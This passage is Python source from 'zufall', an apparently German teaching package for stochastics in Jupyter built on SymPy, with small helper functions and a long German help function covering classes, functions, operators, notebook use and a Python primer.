\\\\text{ und } \\\\sigma')\n print(' ')\n\n\t\n# ------------------\n# ja-nein - Funktion\n# ------------------\n\t\t\ndef ja_nein(*args, **kwargs):\n \"\"\"Bewertung eines logischen Ausdruckes\"\"\"\n\t\n if kwargs.get('h'):\n print(\"\\nja_nein - Bewertung eines logischen Ausdruckes\\n\")\t\n print(\"Aufruf ja_nein( ausdruck )\\n\")\t\t \n print(\" ausdruck Ausdruck mit dem Wert True oder False\\n\")\n print(\"R\u00fcckgabe 1, wenn ausdruck==True\")\t\t\t\n print(\" 0, wenn ausdruck==False\\n\")\t\t\n return\n\t\t\n if len(args) != 1:\n print('zufall: ein Argument angeben')\t\n return\n ausdruck = args[0]\t\t\n if not isinstance(bool(ausdruck), bool):\n print('zufall: der Ausdruck hat nicht den Wert True oder False')\n return\t\t\n if ausdruck:\n return 1\n return 0\t\t\n\t\njaNein = ja_nein\n\t\n\t\n# --------------------------------------------------------\n# stochastisch - Test auf stochastische(n) Vektor / Matrix\n# --------------------------------------------------------\n\t\ndef stochastisch(*args, **kwargs):\n \"\"\"Test auf stochastischen Vektor / Matrix\"\"\"\n\t\n if kwargs.get('h'):\n print(\"\\nstochastisch - Test auf stochastische(n) Vektor / Matrix\\n\")\t\n print(\"Aufruf stochastisch( objekt )\\n\")\t\t \n print(\" objekt Vektor, Matrix\\n\")\n print(\"Ein Vektor ist stochastisch, wenn alle Komponenten in [0, 1] liegen\")\t\t\n print(\"und ihre Summe 1 ist\\n\")\n print(\"Eine quadratische Matrix ist stochastisch, wenn alle Spaltenvektoren\") \n print(\"stochastisch sind\\n\")\t\t\n return\n\n if len(args) != 1:\n print('zufall: Vektor oder Matrix angeben')\n return\t\t\n obj = args[0]\t\n ve = importlib.import_module('agla.lib.objekte.vektor')\n Vektor = ve.Vektor\n if not isinstance(obj, (Vektor, SympyMatrix)):\n print('zufall: Vektor oder Matrix angeben')\n return\t\t\n if isinstance(obj, Vektor):\n if not all(k >= 0 for k in obj.komp):\n return False\n s = 0\n for k in obj.komp:\n s += k\t\n if s != 1:\n return False\n return True\t\t\t\n else:\t\n if obj.shape[0] != obj.shape[1]:\n return False\t\t\n for i in range(obj.shape[0]):\n col = Vektor(*[obj[j, i] for j in range(obj.shape[1])])\n if not stochastisch(col):\n return False\n return True \t\n\t\n\t\n\t\n# ------------------\n# Kurzform f\u00fcr Tupel\n# ------------------\n\ndef kurz_form(iterable):\n menge = list(iterable)\n symbole = all(map(lambda x: isinstance(x, Symbol), menge))\n ziffern = all(map(lambda x: isinstance(x, (int, Integer)), menge))\t\n if symbole or ziffern:\n kf = ''\n for el in menge:\n kf += str(el)\n return Symbol(kf)\t\n return None \t\t\t\t\n\t\n\t\n# ------------------------------------------\n# Erzeugen der Baumstruktur einer Tupelmenge\n# ------------------------------------------\t\n\t\ndef tupel2baum(liste):\n\t\n def kopf(liste):\n if not isinstance(liste, list):\n return liste\n elif len(liste) == 0:\n return None\n return liste[0] \n\t\t\t\n def rest(liste):\n if not isinstance(liste, list):\n return []\n elif len(liste) == 1:\n return []\n return liste[1:] \n \t\n def ibaum(liste):\n rliste = []\n if liste:\n rliste = ['o']\n #li = map(lambda x: not isinstance(x, list), liste)\n li = [not isinstance(x, list) for x in liste]\n if all(li):\n rliste += [[x] for x in liste]\n else: \n nam = set([kopf(x) for x in liste if kopf(x) is not None])\n nam = list(nam)\n nam.sort(key=str)\t\t\t\t\n for nm in nam:\n nm_liste = [ nm ]\n nm_rest_liste = [x for x in liste if kopf(x) == nm]\n nm_rest_liste = [rest(x) for x in nm_rest_liste]\n nm_rest_baum = ibaum(nm_rest_liste)\n nm_liste += rest(nm_rest_baum) \n rliste += [nm_liste]\n return rliste\n\n return ibaum(liste)\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n# --------------\n# Hilfe-Funktion\n# --------------\n\ndef Hilfe(**kwargs):\n h = kwargs.get('h')\n if not h:\n h = 1\t\n if h == 1:\n print(\"h=2 - Einleitung\")\n print(\"h=3 - Online-Hilfeinformationen\")\n print(\"h=4 - Bezeichner\")\n print(\"h=5 - Zugriff auf Eigenschaften und Methoden\")\n print(\"h=6 - Klassen\")\t\t\n print(\"h=7 - Funktionen\")\n print(\"h=8 - Operatoren\")\t\t\n print(\"h=9 - Jupyter-Notebook\")\n print(\"h=10 - Nutzung von SymPy-Anweisungen\")\t\t\n print(\"h=11 - Griechische Buchstaben\")\t\t\n print(\"h=12 - Kleiner Python-Exkurs\")\t\t\n print(\"h=13 - Bemerkungen f\u00fcr Programmierer/Entwickler\")\t\t\n return\n\t\t\n if h == 2:\n print(\n \"\"\"\t\t\nEinleitung\n\nPython ist ein leistungsf\u00e4higer konventioneller Taschenrechner. Durch das CAS\nSymPy werden seine F\u00e4higkeiten vor allem um das symbolische Rechnen erwei-\ntert. Mit dem Paket zufall sollen Berechnungen auf dem Gebiet der Stochastik \nunterst\u00fctzt werden, wobei es f\u00fcr den Gebrauch in der Schule vorgesehen ist\n\t\nzufall ist ein Python-Paket und kann innerhalb von Jupyter-Notebooks benutzt \nwerden\n\nIn zufall werden die Objekte der Stochastik, wie Zufallsexperiment, Bernoul-,\nlikette, Urne, Binomialverteilung usw. mit entsprechenden Python-Klassen dar-\ngestellt. \u00dcber eine Konstruktor-/Erzeugerfunktion gleichen Namens k\u00f6nnen In- \nstanzen dieser Klassen (Objekte), erzeugt werden. Mit diesen und ihren Eigen-\nschaften + Methoden wird dann interaktiv gearbeitet. Weiterhin unterst\u00fctzen \neinige Funktionen die Arbeit\n\t\t\nDas Paket basiert auf dem vollst\u00e4ndig in Python geschriebenen CAS SymPy und \nist selbst ebenfalls (mit leichten Modifizierungen) in reinem Python ge- \nschrieben. F\u00fcr Grafiken wird das matplotlib-Paket benutzt\n\t\t\nDie Programme von zufall werden im Quellcode f\u00fcr die Benutzung bereitgestellt\\n \nDie Syntax zur Handhabung von zufall ist so gestaltet, dass sie leicht er- \nlernbar ist. Es sind nur geringe Python-Kenntnisse sowie F\u00e4higkeiten zum \nBedienen eines Jupyter-Notebooks notwendig\n \nBei der Arbeit mit zufall kann auf den gesamten Leistungsumfang von Python \t\nzugegriffen werden, der vor allem duch eine Vielzahl weiterer Pakete reali-\nsiert wird\t\t\n \"\"\")\t\t\n return\t\t\n\t\t\n if h == 3:\t\t\n print(\n \"\"\"\t\t\nErhalten von Hilfe-Informationen\n\nUnter dem Namen Hilfe steht eine Funktion zur Verf\u00fcgung, \u00fcber die zentrale\nHilfeinformationen erhalten werden k\u00f6nnen. Mit der Eingabe\n\n In [..]: Hilfe() oder Hilfe(h=1)\n \nin eine Zelle des Notebooks wird man auf einzelne Seiten geleitet\n\nWeitere Hilfeinformationen k\u00f6nnen zu jedem zufall-Objekt und zu den Metho-\nden eines Objektes gewonnen werden, indem bei der Erzeugung des Objektes \nmit Hilfe seiner Erzeugerfunktion oder beim Aufruf der Methode als letzter \nEintrag in der Argumentenliste h=1 geschrieben wird. Man erh\u00e4lt dann unmit-\ntelbar die gew\u00fcnschte Information oder wird auf eine andere Hilfeseite ge-\nleitet\n\nAnaloges gilt f\u00fcr die Funktionen, die von zufall zur Verf\u00fcgung gestellt wer-\nden\n\nWeiterhin ist f\u00fcr jedes Objekt eine Eigenschaft mit dem Namen h (Kurzform \nvon hilfe) vorhanden, bei deren Aufruf die verf\u00fcgbaren Eigenschaften und \nMethoden aufgelistet werden\n\t\nTritt in einer Syntaxdarstellung die Konstruktion /[...] auf, kann die Anga- \nbe zwischen den eckigen Klammern entfallen. Ein |-Zeichen bedeutet i.A., \t\ndass zwischen zwei Angaben ausgew\u00e4hlt werden kann\t\n \"\"\")\t\t\n return\n\t\t\n if h == 4:\n print(\n \"\"\"\t\t\nBezeichner (Namen)\n\nDie erzeugten zufall-Objekte k\u00f6nnen einem Bezeichner zugewiesen werden, \nz.B. wird mit der Anweisung\n\n In [..]: bv = BV(12, 0.3)\n \ndem Bezeichner bv als Wert ein BinomialVerteilung-Objekt zugewiesen ('=' ist \nin Python f\u00fcr Zuweisungen vorgesehen)\n\nEin Bezeichner kann in zufall aus allen Buchstaben des englischen Alphabets,\nallen Ziffern 0, 1, ..., 9 und dem Unterstrich '_' bestehen, wobei er mit\neinem Buchstaben beginnen mu\u00df. Der Name kann beliebig lang sein, es wird\nzwischen gro\u00dfen und kleinen Buchstaben unterschieden. Auf diese Art gebil-\ndeten Namen kann jederzeit ein Objekt (zufall-Objekt oder anderes, z.B. ei-\nne Zahl) zugewiesen werden. Dabei darf es sich nicht um einen gesch\u00fctzten \nNamen handeln (s.u.)\n\nAnders verh\u00e4lt es sich bei den 'freien' Bezeichnern, denen unmittelbar kein\nWert zugewiesen wird und die als Variablen oder als Parameter u.a. in Glei-\nchungen auftreten. Im Unterschied zu anderen CAS werden in dem von zufall \nbenutzten SymPy solche Bezeichner nicht einfach durch Hinschreiben erkannt \nund akzeptiert, sondern sie m\u00fcssen explizit als Symbole deklariert werden. \nF\u00fcr Buchstaben und kleine griechische Buchstaben wird das bereits innerhalb\nvon zufall erledigt, so dass Bezeichner wie r, g, b, A, X usw. jederzeit \nfrei verwendet werden k\u00f6nnen. Soll ein freier Bezeichner l\u00e4nger als ein \nZeichen sein, muss er mittels einer entsprechenden SymPy-Anweisung dekla-\nriert werden, etwa durch\n\n In [..]: xyz = Symbol('xyz')\n \nEs gibt eine Reihe von Bezeichnern, die in zufall eine feste Bedeutung ha-\nben und nicht anderweitig verwendet werden k\u00f6nnen, indem sie einen anderen \nWert bekommen. Beim Versuch, einen anderen Wert an einen solchen Bezeichner\nzu binden, warnt zufall mit einem Hinweis und verhindert das \u00dcberschreiben. \nEbenfalls in das Warnsystem aufgenommen wurden die Elemente der SymPy-Spra-\nche, die innerhalb von zufall zur Verf\u00fcung des Nutzers gestellt werden\\n\nBesondere Beachtung erfordern die Bezeichner E N und I, denen Konstanten zu-\ngewiesen sind. Sie werden kommentarlos \u00fcberschrieben werden, wenn ihnen ein\nanderer Wert zugewiesen wird\n\t\t\nViele Eigenschaften/Methoden haben synonyme Bezeichner, die folgenderma\u00dfen\ngebildet werden:\n\n - ein '_' (Unterstrich) innerhalb des Bezeichners einer Eigenschaft oder \n Methode wird eliminiert, indem der n\u00e4chste Buchstabe gro\u00df geschrieben \n wird, z.B. sch_el -> schEl ('Kamelschreibweise'; Methode\n 'Scharelement')\n - ein '_' am Ende eines Bezeichners wird elimimiert, indem das erste Zei-\n chen gro\u00df geschrieben wird, z.B: umfang_ -> Umfang (Methode 'Umfang')\n\t \nIn einem zufall-Notebook kann explizit mit anderen Python-Paketen gearbeitet \nwerden, speziell mit SymPy, von dem einige Anweisungen dem System bereits \nbekannt sind. Soll ein weiteres SymPy-Element benutzt werden, z.B. die Funk-\ntion ceiling, so ist dieses mit der \u00fcblichen import-Anweisung zu importieren \nund kann danach aufgerufen werden\n\t\n In [..]: from sympy import ceiling\n ...\n In [..]: ceiling(3.12) # das Ergebnis ist 4\t\t\n \"\"\")\t\t\n return\t\t\n\t\t\n if h == 5:\n print(\n \"\"\"\t\t\t\nZugriff auf Eigenschaften und Methoden von Objekten\n\nDie zufall-Objekte haben verschiedene Eigenschaften und Methoden (die letz-\nteren erwarten f\u00fcr ihre Ausf\u00fchrung Argumente - ein weiteres Objekt, einen \nParameterwert o.\u00e4.). Die implementierten Eigenschaften und Methoden eines \nObjektes k\u00f6nnen \u00fcber seine Hilfeseite wie etwa\n\n In [..]: BV(h=1)\n \nermittelt werden. Ein BV-Objekt (BV ist der Kurzname von BinomialVerteilung) \nhat z.B. die Eigenschaft erw (Erwartungswert) und die Methode P (zur Berech-\nnung von Wahrscheinlichkeiten). Der Zugriff erfolgt mittels des '.' - Ope-\nrators, der allgemein in der Objektorientierten Programmierung Verwendung \nfindet. Sei etwa dem Bezeichner bv ein BV-Objekt zugewiesen, etwa mit der \nAnweisung\n\n In [..]: bv = BV(50, 1/3))\n \nso sind die Anweisungen f\u00fcr den Zugriff zu seinem Erwartungswert\n\t\t\n In [..]: bv.erw\n \nund zu der Methode f\u00fcr die Berechnung von Wahrscheinlichkeiten\n\t\t\n In [..]: bv.P(25)\n \nEine Methode wird generell \u00fcber einen Funktionsaufruf realisiert, der Argu-\nmente erwartet, die in Klammern eingeschlossen werden. Hier wurde das Argu-\nment 25 angegeben, es soll die Wahrscheinlichkeit daf\u00fcr berechnet werden, \ndass eine Zufallsgr\u00f6\u00dfe mit der betrachteten Verteilung diesen Wert annimmt\n\nZu einer Reihe von Eigenschaften existiert eine Methode mit gleichem Namen, \nder auf einen Unterstrich '_' endet. Damit besteht die M\u00f6glichkeit, mittels \ndes entsprechenden Funktionsaufrufes zus\u00e4tzliche Informationen/Leistungen \nanzufordern. Welche das sind, kann \u00fcber die Hilfeanforderung (h=1 als letz-\nter Eintrag in der Argumentliste) erfahren werden. Diese zu Eigenschaften \ngeh\u00f6renden Methoden k\u00f6nnen auch \u00fcber den Namen der Eigenschaft mit gro\u00dfem \t\nAnfangsbuchstaben aufgerufen werden, also z.B. f\u00fcr die Eigenschaft erw von\nbv\n\t\t\n In [..]: bv.erw_(...) oder\n In [..]: bv.Erw(...)\n \nDas Ergebnis eines Eigenschafts-/Methodenaufrufes kann ein Tupel oder eine \nListe sein, etwa die Daten einer DatenReihe dr, die als Liste dr.daten vor-\nliegen. Um auf ein einzelnes Element zuzugreifen, wird der Indexzugriff ver-\nwendet, etwa\n\n In [..]: dr.daten[3]\n \nf\u00fcr das 4. Element der Liste (gem\u00e4\u00df der Python-Konvention beginnt die Z\u00e4hlung \nbei 0) oder\n\n In [..]: dr.daten[:3] \n \nf\u00fcr den Zugriff auf die ersten 3 Elemente\n\nWahrscheinlichkeits- und H\u00e4ufigkeits-Verteilungen und anderes werden als \ndictionary bereitgestellt (Schl\u00fcssel/Wert-Paare). Hier erfolgt der Zugriff \nauf einen einzelnen Wert \u00fcber den Schl\u00fcssel, z.B. bei der Methode vert \n(Wahrscheinlichkeitsverteilung) der betrachteten BinomialVerteilung\n\n In [..]: bv.vert[4]\t\t\n \"\"\")\t\t\n return\t\t\n\t\t\n if h == 6:\n print(\n \"\"\"\t\t\nKlassen in zufall\n\t\nKurz- Langname\n\nZE ZufallsExperiment\n = ZV ZufallsVersuch\nZG ZufallsGr\u00f6\u00dfe\nBK BernoulliKette\n\nBV BinomialVerteilung\t\t\nHGV HyperGeometrischeVerteilung\t\t\nGLV GleichVerteilung\nGV GeometrischeVerteilung\nPV PoissonVerteilung\\n\t\t\nNV NormalVerteilung\nEV ExponentialVerteilung\n\nDR DatenReihe\n\nEA EreignisAlgebra\t\t\nVT VierFelderTafel\nHB H\u00e4ufigkeitsBaum\n\nKI KonfidenzIntervall\t\t\nAT AlternativTest\t\t\nSTP SignifikanzTestP\n\t\t\nUrne\t\t\nM\u00fcnze\t\t\nW\u00fcrfel\t\t\nRad Gl\u00fccksRad\n\t\t\nMK MarkoffKette\n\t\t\nRoulette\t\t\nChuck ChuckALuck\t\t\nCraps\t\t\nToto FussballToto\t\t\nLotto\t\t\nSkat SkatBlatt\n\t\t\nVektor analog zu agla\t\t\nMatrix analog zu agla\t\t\t\n \"\"\")\t\t\n return\n\t\t\n if h == 7: \n print(\n \"\"\"\t\t\nFunktionen in zufall\n\t\t\nAllgemeine Funktionen\n\t\t\nHilfe Hilfefunktion\nfakult\u00e4t = fak Fakult\u00e4t\nbinomial = B Binomialkoeffizient \nperm = permutationen Permutationen\t\nkomb = kombinationen Kombinationen\t\nvariationen Variationen\t\nauswahlen Berechnung von k-Auswahlen\t\nzuf_zahl = zufZahl Erzeugen von (Pseudo)-Zufallszahlen\t\nanzahl Anzahl des Vorkommens eines Elementes in einer \n Liste/DatenReihe\nanzahl_treffer Anzahl Treffer in einer Liste \n = anzahlTreffer \nsumme Summe der Elemente einer Liste/DatenReihe \ngesetze Einige Gesetze der Wahrscheinlichkeitsrechnung\t\nl\u00f6se Allgemeiner Gleichungs-/Ungleichungs-L\u00f6ser\t\t\nja_nein = jaNein Bewertung logischer Ausdr\u00fccke\nstochastisch Test auf stochastische(n) Vektor/Matrix\neinfach Vereinfachen von Objekten\nja, nein, mit, ohne, Hilfsgr\u00f6\u00dfen\nJa, Nein, Mit, Ohne f\u00fcr True/False\n\nMathematische Funktionen\n\nsqrt, exp, log, ln, lg, abs\nsin, arcsin (= asin), sing, arcsing (= asing) / ...g: \ncos, arccos (= acos), cosg, arccosg (= acosg) / Funktionen\ntan, arctan (= atan), tang, arctang (= atang) / mit Grad-\ncot, arccot (= acot), cotg, arccotg (= acotg) / werten\nsinh, arsinh (= asinh)\t\ncosh, arcosh (= acosh)\t\ntanh, artanh (= atanh)\ndeg = grad Umrechnung Bogen- in Gradma\u00df\t\t\nrad = bog Umrechnung Grad- in Bogenma\u00df\t\nkug_koord (= kugKoord) Umrechnung in Kugelkoordinaten\t\t\t\nmin, max - Minimum bzw. Maximum von zwei oder mehr Zahlen\t\t\nN oder Methode n - Umwandlung SymPy- in Dezimal-Ausdruck \nre - Realteil einer komplexen Zahl\nim - Imagin\u00e4rteil einer komplexen Zahl\nconjugate (= konjugiert) - Konjugiert-komplexe Zahl\n\nKonstanten\n\npi - Zahl Pi (3.1415...)\nE - Eulersche Zahl e (2.7182...)\nI - imagin\u00e4re Einheit\n\nACHTUNG! B, E, N, I sind kommentarlos \u00fcberschreibbar\n \"\"\")\t\t\n return\n\t\t\t\t\n if h == 8:\n print(\n \"\"\"\t\t\nOperatoren\n\nFolgende Operatoren stehen zus\u00e4tzlich zu den Python-Operatoren zur\t\t\nVerf\u00fcgung bzw. ersetzen diese\n\t\n ^ Potenzierung; zus\u00e4tzlich zum Operator **; Umdefinition des\n Python-Operators ^\t\t\n \u00b0 Skalarprodukt von Vektoren; zus\u00e4tzlich zum Operator *\t\t\n | Verkettung von Vektoren; Umdefinition des Python-Operators |\t\t\t\n \"\"\")\t\t\n return\n\t\t\n if h == 9: \n print(\n \"\"\"\t\t\nJupyter-Notebook\n\n+==================================================================+\n| Um in einem Notebook mit zufall arbeiten zu k\u00f6nnen, muss zu | \n| Beginn der Sitzung die (Jupyter-) Anweisung |\n| |\n| In [..]: %run zufall/start |\n| |\n| in einer Codezelle ausgef\u00fchrt werden |\n+==================================================================+\n\t\t\nzufall benutzt als Bedienoberfl\u00e4che Jupyter. Dieses wurde unter dem \nNamen IPython urspr\u00fcnglich als Entwicklungsumgebung f\u00fcr Python- \nAnwendungen bereitgestellt, unterst\u00fctzt aber inzwischen eine Vielzahl \nweiterer Programmiersprachen. Der Name setzt sich aus den Namen von \ndrei Sprachen zusammen - Julia (eine Sprache, die sehr schnellen Code \nerzeugt), Python und R (inzwischen ein leistungsf\u00e4higes Statistikpaket)\n\nAusschlaggebend f\u00fcr die Wahl dieser Plattform war das hier realisierte \nNotebook-Konzept, wie es auch in kommerziellen CAS (z.B. Mathematica) \nVerwendung findet\n\nJupyter l\u00e4uft als lokale Anwendung auf dem Standardbrowser des \nComputers, Kern (kernel) ist der Python-Interpreter\n\nEin Jupyer-Notebook ist in Zellen (cells) unterteilt, wobei drei \nZelltypen auftreten, die hier interessieren:\n\n - Code-Zellen Kennzeichnung: In [..] \n\t \n In diese Zellen werden Anweisungen in der benutzten \n Programmiersprache (hier Python) geschrieben, also auch \n Anweisungen zur Benutzung von zufall; die Zellen sind analog zu \n einem Texteditor editierbar; beim Ausf\u00fchren (run) einer solchen \n Zelle wird ihr Inhalt an den Python-Interpreter \u00fcbergeben, der \n f\u00fcr seine Verarbeitung sorgt\n\t \n Eine neue Zelle wird standardm\u00e4\u00dfig als Code-Zelle erzeugt; die \n Umwandlung einer Markdown-Zelle in eine Code-Zelle ist \u00fcber das \n Code-Men\u00fc oder die Platzierung des Cursors im vorderen \n Zellbereich und Dr\u00fccken der Y-Taste erreichbar\n\t \n -Ausgabe-Zellen Kennzeichnung: Out [..]\n\t \n Die Zellen entstehen, wenn nach der Auswertung einer Codezelle \n durch den Python-Interpreter eine Ausgabe erforderlich ist; in \n diese Zellen kann der Benutzer nicht direkt schreiben\t \n\t \n - Markdown-Zellen\tOhne Kennzeichnung\n\t \n Die Zellen dienen vor allem zur Aufnahme von Texten, wobei diese \n mit Markdown- (eine einfache Auszeichnungssprache) oder HTML- \n Anweisungen formatiert werden k\u00f6nnen; sie k\u00f6nnen auch \n mathematische Formeln enthalten (Nutzung von LATEX), au\u00dferdem \n k\u00f6nnen in solchen Zellen Grafiken und Bilder dargestellt und/\n oder Audio- und Video-Dateien aktiv sein; beim Ausf\u00fchren einer \n solchen Zelle werden eventuell vorhandene Formatierungs-\n Anweisungen ausgef\u00fchrt und der Inhalt auf dem Ausgabemedium \n pr\u00e4sentiert\n\n Die Umwandlung einer Code-Zelle in eine Markdown-Zelle ist \u00fcber \n das entsprechende Men\u00fc oder die Platzierung des Cursors im \n vorderen Zellbereich und Dr\u00fccken der M-Taste erreichbar \n\t \nCode- und Markdown-Zellen k\u00f6nnen beliebig erzeugt, gel\u00f6scht, kopiert, \neingef\u00fcgt und verschoben werden\t \n\nEs kann zu jeder dieser Zellen gesprungen werden, um sie zu ver\u00e4ndern \nund/oder erneut auszuf\u00fchren \n\nIn einem Notebook kann in zwei Modi gearbeitet werden\n\n- Editier-Modus: Einschalten mit Enter; oben rechts ist ein Stift \n dargestellt \n\t \n In diesem Modus kann der Inhalt der aktuellen Zelle editiert \n werden \n\n Das Editieren einer bestehenden Markdown-Zelle kann auch mit \n einem Doppel-Klick eingeleitet werden\n\t \n- Kommando-Modus: Einschalten mit ESC; der Stift rechts oben fehlt\n\t \n in diesem Modus k\u00f6nnen Aktionen durchgef\u00fchrt werden, die das \n Notebook als Ganzes betreffen (Zellen erzeugen/kopieren/\n l\u00f6schen/verschieben, zwischen ihnen navigieren, Dateien \u00f6ffnen \n und speichern usw.)\n\nWenn der Kern besch\u00e4ftigt ist, ist der schwarze Kreis rechts oben \ngef\u00fcllt; auch in dieser Zeit kann editiert werden, die Ausf\u00fchrung \nweiterer Zellen kann aber erst erfolgen, wenn der Kern wieder frei \nist \n\nEine Datei, in die der Inhalt eines Notebooks gespeichert wird, \nerh\u00e4lt die Endung .ipynb\n\nF\u00fcr den Export eines Notebooks, z.B. in das .html- oder .pdf-\nFormat, ist das separat zu nutzende Werkzeug nbconvert vorgesehen\n \n\nDie Bedienung eines Notebooks kann \u00fcber das Men\u00fc und/oder \u00fcber die Tastatur \nerfolgen\n\t\t\nEinige Tastatur-K\u00fcrzel f\u00fcr das Jupyter-Notebook\n\n Umsch+Enter Zelle ausf\u00fchren, zur n\u00e4chsten gehen (diese wird even-\n tuell neu angef\u00fcgt)\t\t\n Strg+Enter Zelle ausf\u00fchren, in der Zelle verbleiben\t\t\n Strg+M B Zelle unterhalb einf\u00fcgen\t\t\n Strg+M A Zelle oberhalb einf\u00fcgen\t\n Strg+M DD Zelle l\u00f6schen (D 2-mal dr\u00fccken)\t\t\n Esc X Zelle l\u00f6schen\t\t\n Strg+Z Zur\u00fccksetzen beim Editieren\\n\t\t\n Esc Einschalten des Kommando-Modus\n Enter Einschalten des Editier-Modus\n Strg+M H Anzeigen aller Tastatur-K\u00fcrzel f\u00fcr die beiden Modi\n \n Ausf\u00fchren: (z.B. Strg-M B)\n \n Strg-Taste dr\u00fccken, dann M-Taste, Strg loslassen, dann B-Taste\t\n durch mehrmaliges Dr\u00fccken der B-Taste k\u00f6nnen mehrere Zellen eingef\u00fcgt\n werden\t\n \"\"\") \n return\n\t\t\t\n if h == 10:\t\t\n print(\n \"\"\"\t\t\nNutzung von SymPy-Anweisungen\n\nIn zufall sind folgende Elemente von SymPy integriert:\n\t\t\nSymbol, symbols - zur Definition von (mehrstelligen) Bezeichnern\nRational - zur Erzeugung von rationalen Zahlen (wird in zufall weitgehend \nautomatisch erledigt)\n\nsolve, solveset, expand, collect, factor, simplify, nsimplify \n\nN [der Wert ist \u00fcberschreibbar]\n\npi - die Kreiszahl\nE - die Basis der nat\u00fcrlichen Logarithmen (e) [der Wert ist \u00fcberschreibbar]\nI - die imagin\u00e4re Einheit (i) [der Wert ist \u00fcberschreibbar]\n\t\t\nSollen weitere Elemente benutzt werden, sind diese zu importieren, z.B.\n\n In [..]: from sympy import Piecewise\n \n(eventuell ist der Pfad im SymPy-Verzeichnis-Baum anzugeben)\t\n \"\"\")\t\t\n return\n \n if h == 11:\n print(\"\\nGriechische Buchstaben\\n\")\n print(\"Es werden die kleinen griechischen Buchstaben\\n\")\t \n print(\"alpha, beta, gamma, delta, epsilon, zeta, eta, theta, iota, kappa \")\n display(Math(\"\\\\alpha \\qquad \\\\beta \\qquad \\\\gamma \\qquad \\\\delta \\qquad \\\\epsilon \\qquad \\\n\t\t \\\\zeta \\qquad \\\\eta \\qquad \\\\theta \\qquad \\\\iota \\qquad \\\\kappa \"))\t\t\n print(\"lamda (Schreibweise!), mu, nu, xi, omicron, pi, rho, sigma, tau \")\n display(Math(\"\\\\lambda \\qquad \\\\mu \\qquad \\\\nu \\qquad \\\\xi \\qquad \\\\omicron \\qquad \\\\pi \\\n \\qquad \\\\rho \\qquad \\\\sigma \\qquad \\\\tau\"))\t\t\n print(\"upsilon, phi, chi, psi, omega\\n\")\n display(Math(\"\\\\upsilon \\qquad \\\\phi \\qquad \\\\chi \\qquad \\\\psi \\qquad \\\\omega\"))\t\t\n print(\"bereitgestellt. Die Namen sind nicht \u00fcberschreibbar\\n\")\n return\n\t\t\n if h == 12:\n print(\n \"\"\"\nKleiner Python-Exkurs\n\nEingabe von Code (in eine Code-Zelle des Jupyter-Notebooks):\n\n Die Ausf\u00fchrung einer Zelle wird durch Umsch+Enter bzw. Strg+Enter \n veranla\u00dft\t\t\n\t\n Eine Zuweisung (eines Wertes an einen Bezeichner) wird mittels '=' \n realisiert:\n\t\n In [..]: a = 4\n\t\t\n Der Wert eines Bezeichners kann \u00fcber eine Abfrage ermittelt werden\n\t\n In [..]: a\n\t\t\n Mehrere Zuweisungen in einer Zeile sind durch ';' zu trennen\n\t\n In [..]: a = 4; b = 34; c = -8\n\t\t\n Mehrere Abfrageanweisungen in einer Zeile sind durch ',' zu trennen\t\t\t\t\n (ein ';' unterdr\u00fcckt die Anzeige der vorausgehenden Elemente)\t\n\t\n In [..]: a, b, c\n\t\t\n Eine neue Zeile (innerhalb einer Zelle des Notebooks) wird \u00fcber die\n Enter-Taste erzeugt; in der neuen Zeile ist ab derselben Stelle zu \n schreiben wie in der vorangehenden Zeile, wenn nicht ein einger\u00fcckter \n Block entstehen soll (bzw. wenn nicht durch ein '\\\\' am Zeilenende ei-\n ne Verl\u00e4ngerung der Zeile erreicht werden soll) \n Das ist Teil der Python-Syntax und f\u00fchrt bei Nichtbeachten zu einem\n Syntaxfehler \t\t\n\t\n Einger\u00fcckte Bl\u00f6cke sind z.B. bei Kontrollstrukturen (vor allem in Pro-\n grammen benutzt) erforderlich. Dabei m\u00fcssen alle Einr\u00fcckungen die glei-\n che Stellenanzahl (standardm\u00e4\u00dfig 4 Stellen) haben\n Bei der if-else-Anweisung sieht das z.B. folgenderma\u00dfen aus:\n\t\n In [..]: if a < 1: \n b = 0 # 4 Stellen einger\u00fcckt\n c = 3 # ebenso\t\t\n else:\n b = 1 # ebenso\t\n\t\t\t\t\t \n oder bei einer Funktions-Definition:\t\n\t\n In [..]: def summe(x):\n sum = 0\t\t\n for y in x:\n sum += y # weitere Einr\u00fcckung\t\t\n return sum\t\t\t\n\t\t\t\t\t \n Die Funktion berechnet die Summe der Elemente des Zahlen-Containers \n x (eine Liste, ein Tupel oder eine Menge)\n\t\t\n Mittels '#' k\u00f6nnen in Codezellen Kommentare geschrieben werden, sie wer-\n den bei der Ausf\u00fchrung ignoriert\n\t\nEinige Datentypen:\n\n Zeichenkette (string) z.B.: 'Tab23' oder \\\"Tab23\\\"#\n\t\n Tupel (tuple) z.B.: \n\t\n In [..]: t = ( 1, 2, 3 ); t1 = ( 'a', a, Rational(1, 2), 2.7 )\n Zugriff auf Elemente t[0], t1[-1], Slicing (Z\u00e4hlung ab 0)\n\t\t\n Liste (list) z.B.: \n\t\n In [..]: L = [ 1, 2, 3 ]; L1 = [ 'a', a, Rational(1, 2), 2.7 ] \t\t\n Zugriff auf Elemente L[0], L1[-1], Slicing (Z\u00e4hlung ab 0)\n\t\t\n Schl\u00fcssel-Wert-Liste (dictionary, dict) z.B.:\n\t\n In [..]: d = { a:4, b:34, c:-8 }\n Zugriff auf Elemente d[a], d[c]\n\t\t\n Menge (set) z.B.: \n\t\n In [..]: m = { a, b, c }; m1 = set() (leere Menge)\n Zugriff auf Elemente m.pop(), Indexzugriff mit list(m)[index] m\u00f6g-\n lich\t\t\n\t\t\nWeitere n\u00fctzliche Python-Elemente:\n\n Mittels type(obj) kann der Datentyp eines Objektes obj erfragt werden\t\n\t\n List-Comprehension\n\t\n In [..]: tup = 1, 2, 3, 4, 5, 6 # oder anderer Datencontainer\n In [..]: [ x^2 for x in tup ] # sehr m\u00e4chtige Anweisung\t\n Out[..]: [1, 4, 9, 16, 25, 36] \t\n\t\t\n Funktionsdefinition mit anonymer Funktion\n\t\n lambda arg1, arg2, ... : ausdruck in arg1, arg2, ...\n\t\t\n Klasse Rational: da p/q in Python (und damit auch in SymPy) eine float-\n Zahl ergibt, kann bei Bedarf eine rationale Zahl Rational(p, q) ver-\n wendet werden (in zufall erfolgt das an den meisten Stellen automa-\n tisch) \t\t\n\t\t\n *liste als Argument einer Funktion packt den Container liste aus \n\t\n Ersetzen des Wertes eines Bezeichners in einem Ausdruck durch\n einen anderen Wert (eine SymPy-Anweisung) \n\t\t\n ausdruck.subs(bez, wert) \n\t\t\n In [..]: (x+y).subs(x, 2)\t\t\n Out[..]: y+2\n\t\t\n Die Ausgabe '' weist auf eine an ein Objekt 